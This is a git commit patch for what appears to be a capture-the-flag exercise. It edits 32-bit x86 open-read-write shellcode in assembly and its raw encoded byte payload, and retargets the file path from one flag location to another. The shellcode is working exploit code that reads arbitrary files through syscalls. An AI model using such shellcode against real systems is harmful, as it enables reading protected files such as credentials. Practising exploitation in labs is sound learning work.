From eac4f540f0e7ae16ff9b58d0d91eb70a98f00bc5 Mon Sep 17 00:00:00 2001 From: Brett Weiland Date: Tue, 27 Oct 2020 05:45:54 -0500 Subject: modified: fread modified: fread.asm modified: fread.o modified: payload --- fread | Bin 4296 -> 4292 bytes fread.asm | 4 ++-- fread.o | Bin 528 -> 528 bytes payload | 2 +- 4 files changed, 3 insertions(+), 3 deletions(-) diff --git a/fread b/fread index ce7de5b..d2681df 100755 Binary files a/fread and b/fread differ diff --git a/fread.asm b/fread.asm index d02753a..03c2ab7 100644 --- a/fread.asm +++ b/fread.asm @@ -9,7 +9,7 @@ xor ecx, ecx ; arg2 xor edx, edx ; #/usr/include/asm-generic/fcntl.h includes define O_RDONLY 00000000 pop ebx -mov [ebx + 18], ecx ; arg1 +mov [ebx + 15], ecx ; arg1 int 0x80 ;eax now contains our file descriptor. @@ -33,5 +33,5 @@ int 0x80 data: call str_found -db "/home/indigo/flag" +db "/home/orw/flag" diff --git a/fread.o b/fread.o index e50ec8d..dc28b79 100644 Binary files a/fread.o and b/fread.o differ diff --git a/payload b/payload index f73c1e9..7db6cd3 100755 --- a/payload +++ b/payload @@ -1 +1 @@ -ë$1À°1É1Ò[‰KÍ€‰Ã°‰á1Ò²ÿÍ€°1Û³‰áÍ€è×ÿÿÿ/home/indigo/flag \ No newline at end of file +ë$1À°1É1Ò[‰KÍ€‰Ã°‰á1Ò²ÿÍ€°1Û³‰áÍ€è×ÿÿÿ/home/orw/flag \ No newline at end of file -- cgit v1.2.3